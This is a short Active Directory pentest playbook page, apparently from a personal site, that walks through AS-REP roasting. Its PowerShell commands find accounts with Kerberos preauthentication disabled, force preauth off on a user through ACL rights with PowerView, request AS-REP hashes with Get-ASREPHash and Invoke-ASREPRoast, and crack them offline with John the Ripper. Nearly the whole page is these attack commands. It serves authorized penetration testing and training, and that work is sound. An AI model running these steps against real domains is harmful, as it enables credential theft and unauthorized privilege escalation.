> For the complete documentation index, see [llms.txt](https://playbook.sidthoviti.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://playbook.sidthoviti.com/active-directory-pentest/domain-privilege-escalation/targeted-kerberoasting/as-rep-roast.md).
# AS-REP Roast
### Targeted Kerberoasting - AS-REPs
* If a user's UAC setting has preauthentication disabled, then it is possible to grab user's crackable AS-REP (Authentication Service Response) and bruteforce it offline.
* With GenericWrite or GenericAll rights, Kerberos preauth can be forced disabled as well.
Enumerate accounts with Kerberos Preauth disabled:
{% code overflow="wrap" %}
```powershell
# PowerView
Get-DomainUser -PreauthNotRequired -Verbose
# AD module
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```
{% endcode %}
Force disable Kerberos Preauth and enumerate the permissions for RDPUsers on ACL using PowerView
{% code overflow="wrap" %}
```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser -PreauthNotRequired -Verbose
```
{% endcode %}
Request encrypted AS-REP for offline bruteforce.
Let's use ASREPRoast
{% code overflow="wrap" %}
```powershell
Get-ASREPHash -UserName VPN1user -Verbose
```
{% endcode %}
To enumerate all users with Kerberos preauth disabled and request a hash:
```powershell
Invoke-ASREPRoast -Verbose
```
Finally, crack the hashes offline:
{% code overflow="wrap" %}
```
john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-
pass.txt C:\AD\Tools\asrephashes.txt
```
{% endcode %}
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